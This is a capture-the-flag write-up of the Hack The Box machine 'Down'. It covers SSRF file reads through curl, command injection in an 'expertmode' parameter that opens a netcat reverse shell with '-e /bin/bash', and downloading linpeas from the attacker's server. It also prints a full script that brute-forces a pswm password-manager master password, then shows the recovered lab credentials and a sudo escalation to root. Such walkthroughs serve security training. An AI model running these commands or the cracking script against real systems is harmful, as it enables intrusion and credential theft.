down - hack the box

Down is a vulnerable Linux machine that involves exploiting a web application with an SSRF attack. We are able to gain remote code execution and establish a reverse shell. Further enumeration on the target machine exposes a pswm file in a users home directory. The pwsm uses Python’s cryptocode module and a master password to encrypt and decrypt the data. Once obtaining the master password, we are able to decrypt the pswm table and grab passwords. The compromised user is a member of the sudo group, allowing the user to escalate and obtain root access.

Enumeration

Target IP: 10.129.16.203 Attacker IP: 10.10.14.110

nmap -sCVS 10.129.16.203

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_  256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Is it down or just me?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Lets check out the web application on port 80.

alt text

It looks like this web application is used for checking if a website is down. I’m not sure how exactly it does this so lets open up Burp Suite and intercept some requests so we can get a better idea of how this is done.

We are going to send a request of http://test.com and intercept it via burpsuite.

alt text

alt text

We go ahead and click the button Is it down?

We right click on our interception and send it to the Repeater.

alt text

alt text

At an initial glance not much is here. We can tell that there is one parameter that the server is looking for which is url, and that is where we input http://test.com

What would happen if we were to host our own server and insert it into the web application?

python -m http.server 80

alt text

This happens to work and we can see that traffic has come through. alt text

alt text

nc -lvnp 80

Lets set up a listener on our end as well and run our IP through the web application to see what output we get.

alt text

It looks like we may be able to read some files from our target since it is requesting curl.

SSRF

We can use the -T flag with curl to upload a file we want to our listener.

alt text

Remember to set up your listener so that we can catch this request. We are firstly going to try and read /etc/passwd

alt text

This works! I will also note down the user that we have found, aleks. Let us now search for some common files with this method.

alt text

Lets grab index.php and see if there is any interesting code here. We save the output from our listener.

alt text

Come on man right in index.php xD

Also, what is expertmode? It looks like there may be a web page we did not account for.

http://10.129.16.203/index.php?expertmode=tcp

alt text

I have a hunch that we can establish a reverse shell with this. Within netcat we can try setting up a shell using the -e flag. This allows “program” to execute after connecting.

alt text

Lets set up our listener and send our request.

nc -lvnp 80

alt text

If we try it through the GUI interface it errors us out. Lets intercept the request with Burp Suite and try sending it that way.

alt text

We add this to the end of ip line: -e+/bin/bash

We take a look back at our listener (I am using penelope which is a useful shell handler for interactive sessions, find it here: https://github.com/brightio/penelope)

alt text

We have our initial access as www-data.

www-data Enumeration

Lets run linpeas.sh on our target. This script automates the enumeration process to make it easier for us to find any interesting files or misconfigurations in the system. Find it here: https://github.com/peass-ng/PEASS-ng/releases/tag/20250701-bdcab634

Set up a python server in the directory of where your linpeas script was saved. alt text

On the target machine you are going to request linpeas.sh from your python server. In my case, I would run wget http://10.10.14.110:8000

I’m going to get grabbing the file in the /tmp directory of our target machine.

alt text

Once we download linpeas.sh make sure to make it executable and then we can run the script.

chmod +x linpeas.sh

./linpeas.sh

alt text

We find some interesting files, notably pswm in alek’s home directory.

pswm

pswm is a command line password manager written in Python. You can find out more information here: https://github.com/Julynx/pswm

We cd to /home/aleks/.local/share/pswm and cat pswm

We get this long string e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==www-d

With some more googling I find out that we can break into pswm with a master password to retrieve the table contents. Luckily, someone has already created a script for this and released it to the public so we won’t have to write this out. Find the script here: https://github.com/seriotonctf/pswm-decryptor

import cryptocode
import argparse
from prettytable import PrettyTable

class CustomHelpFormatter(argparse.HelpFormatter):
    def __init__(self, prog):
        super().__init__(prog, max_help_position=50)

def bf(encrypted_text, wordlist):
    with open(wordlist, "r", encoding="utf-8") as f:
        for password in f:
            decrypted_text = cryptocode.decrypt(encrypted_text, password.strip())
            if decrypted_text:
                print("[+] Master Password: %s" % password.strip())
                print_decrypted_text(decrypted_text)
                return
    print("[-] Password Not Found!")

def print_decrypted_text(decrypted_text):
    table = PrettyTable()
    table.field_names = ["Alias", "Username", "Password"]
    for line in decrypted_text.splitlines():
        alias, username, password = line.split("\t")
        table.add_row([alias.strip(), username.strip(), password.strip()])
    table.align = "l"
    print("[+] Decrypted Data:")
    print(table)

def main():
    parser = argparse.ArgumentParser(description="pswm master password cracker", formatter_class=CustomHelpFormatter)
    parser.add_argument("-f", "--file", required=True, help="Path to the encrypted file")
    parser.add_argument("-w", "--wordlist", required=True, help="Path to the wordlist file")
    args = parser.parse_args()

    with open(args.file, "r") as f:
        encrypted_text = f.read().strip()
    
    bf(encrypted_text, args.wordlist)

if __name__ == "__main__":
    main()

Lets compare this decyptor script to the original pswm script from the github repository.

import cryptocode

First off, the same library cryptocode is imported into the decryptor script. This is necessary because this can give us an insight of how the password is encrypted/decrypted. Here is the source of the cryptocode library to learn more: https://github.com/gdavid7/cryptocode

The pswm_decryptor script will attempt master passwords from our wordlist, and once it gets a hit, we will be able to see the contents of the pswm table.

python pswm-decrpypt.py -f alekspwm -w ~/Downloads/rockyou.txt

alt text

We get a passwords for aleks

aleks:1uY3w22uc-Wr{xNHR~+E

Lets ssh into the server with aleks credentials.

ssh [email protected]

alt text

After logging in I ran sudo -l to check permissions of aleks and we see that the account is able to run (ALL : ALL) ALL

We run id and see the aleks is apart of the sudo group.

alt text

Lets simply switch our user to root with sudo.

sudo su root

This is a pretty easy win, we just switch over to root and capture our last flag. pwned

 

pwnand.win


2025-07-11


On this page: